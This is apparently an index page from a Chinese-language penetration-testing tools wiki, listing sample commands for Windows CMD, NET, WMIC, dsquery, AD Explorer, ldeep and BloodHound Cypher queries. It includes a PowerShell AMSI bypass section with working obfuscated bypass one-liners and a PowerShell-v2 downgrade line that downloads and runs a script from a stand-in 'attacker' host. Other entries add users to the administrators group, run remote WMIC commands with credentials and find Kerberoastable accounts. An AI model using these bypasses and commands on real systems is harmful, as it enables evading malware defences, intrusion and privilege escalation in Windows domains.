# 系统命令
English: System Commands
- Tool Count: 8
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## Windows CMD命令
- ID: windows-cmd
- Command Count: 8
- Original Extracted Source: original extracted tools-wiki source/windows-cmd.md
Description:
Windows系统常用命令
Representative Commands:
- 系统信息: `systeminfo
ver
hostname`
- 用户管理: `net user
net user username password /add
net localgroup administrators username /add`
- 网络配置: `ipconfig /all
netstat -ano
netstat -anob
route print
arp -a`
- 进程管理: `tasklist
taskkill /PID pid /F
wmic process list full`
- 服务管理: `sc query
sc start servicename
sc stop servicename
net start`
External References:
- https://ss64.com/nt/
## NET命令集合
- ID: net-commands
- Command Count: 12
- Original Extracted Source: original extracted tools-wiki source/net-commands.md
Description:
Windows NET命令完整集合
Representative Commands:
- 用户列表: `net user`
- 用户详情: `net user username`
- 添加用户: `net user username password /add`
- 删除用户: `net user username /delete`
- 组列表: `net localgroup`
External References:
- https://ss64.com/nt/
## PowerShell AMSI绕过
- ID: powershell-amsi
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/powershell-amsi.md
Description:
Windows AMSI(反恶意软件扫描接口)绕过技术集合
Representative Commands:
- 基础绕过: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`
- Matt Graeber方式: `$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)`
- 内存补丁: `$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)`
- PowerShell降级: `powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"`
External References:
- https://amsi.fail
## WMIC命令
- ID: wmic-cmd
- Command Count: 5
- Original Extracted Source: original extracted tools-wiki source/wmic-cmd.md
Description:
Windows Management Instrumentation命令行工具
Representative Commands:
- 系统信息: `wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic computersystem get Name,Domain,Manufacturer,Model`
- 进程管理: `wmic process list brief
wmic process where name="cmd.exe" get processid,commandline
wmic process call create "cmd.exe /c whoami > C:\temp\out.txt"`
- 服务管理: `wmic service list brief
wmic service where "startmode='auto' and state='stopped'" get name,startname`
- 远程执行: `wmic /node:target_ip /user:admin /password:pass process call create "cmd.exe /c whoami"`
- 已安装软件: `wmic product get name,version
wmic qfe list`
External References:
- https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic
## DSQuery命令
- ID: dsquery
- Command Count: 5
- Original Extracted Source: original extracted tools-wiki source/dsquery.md
Description:
Active Directory查询命令行工具
Representative Commands:
- 查询用户: `dsquery user -limit 0
dsquery user -name *admin*
dsquery user -inactive 4`
- 查询计算机: `dsquery computer -limit 0
dsquery computer -name *server*`
- 查询组: `dsquery group -name "Domain Admins"
dsquery group | dsget group -members`
- 查询OU: `dsquery ou
dsquery * "DC=domain,DC=com" -filter "(objectclass=organizationalUnit)" -attr name`
- LDAP查询: `dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0`
External References:
- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
## AD Explorer
- ID: adexplorer
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/adexplorer.md
Description:
Sysinternals出品的Active Directory浏览器和快照工具
Installation:
下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
Representative Commands:
- 连接AD: `ADExplorer.exe
# 输入DC地址: dc.domain.com
# 输入凭证: domain\user / password
# 或使用当前域凭证直连`
- 创建快照: `ADExplorer.exe -snapshot "" output.snp
# 或在GUI中: File > Create Snapshot`
- 比较快照: `# GUI操作: File > Compare
# 选择两个时间点的快照文件
# 对比AD变更(新用户/权限变更等)`
External References:
- https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
## ldeep
- ID: ldeep
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/ldeep.md
Description:
LDAP深度枚举工具，用于从Linux远程查询AD信息
Installation:
pip3 install ldeep
Representative Commands:
- 用户枚举: `ldeep ldap -u user -p password -d domain.com -s dc_ip users
ldeep ldap -u user -p password -d domain.com -s dc_ip users -v`
- 组和GPO: `ldeep ldap -u user -p pass -d domain.com -s dc_ip groups
ldeep ldap -u user -p pass -d domain.com -s dc_ip gpo`
- 委派查询: `ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations
ldeep ldap -u user -p pass -d domain.com -s dc_ip trusts`
- 密码策略: `ldeep ldap -u user -p pass -d domain.com -s dc_ip pso
ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols`
External References:
- https://github.com/franc-pentest/ldeep
## BloodHound Cypher
- ID: bloodhound-cypher
- Command Count: 6
- Original Extracted Source: original extracted tools-wiki source/bloodhound-cypher.md
Description:
BloodHound Neo4j Cypher查询语句集合
Representative Commands:
- 查找域管路径: `MATCH p=shortestPath((n:User {name:"USER@DOMAIN.COM"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})) RETURN p`
- Kerberoastable用户: `MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN u.name, u.serviceprincipalnames`
- 不需要预认证: `MATCH (u:User {dontreqpreauth:true}) RETURN u.name`
- 本地管理员: `MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name`
- 无约束委派: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name`
External References:
- https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

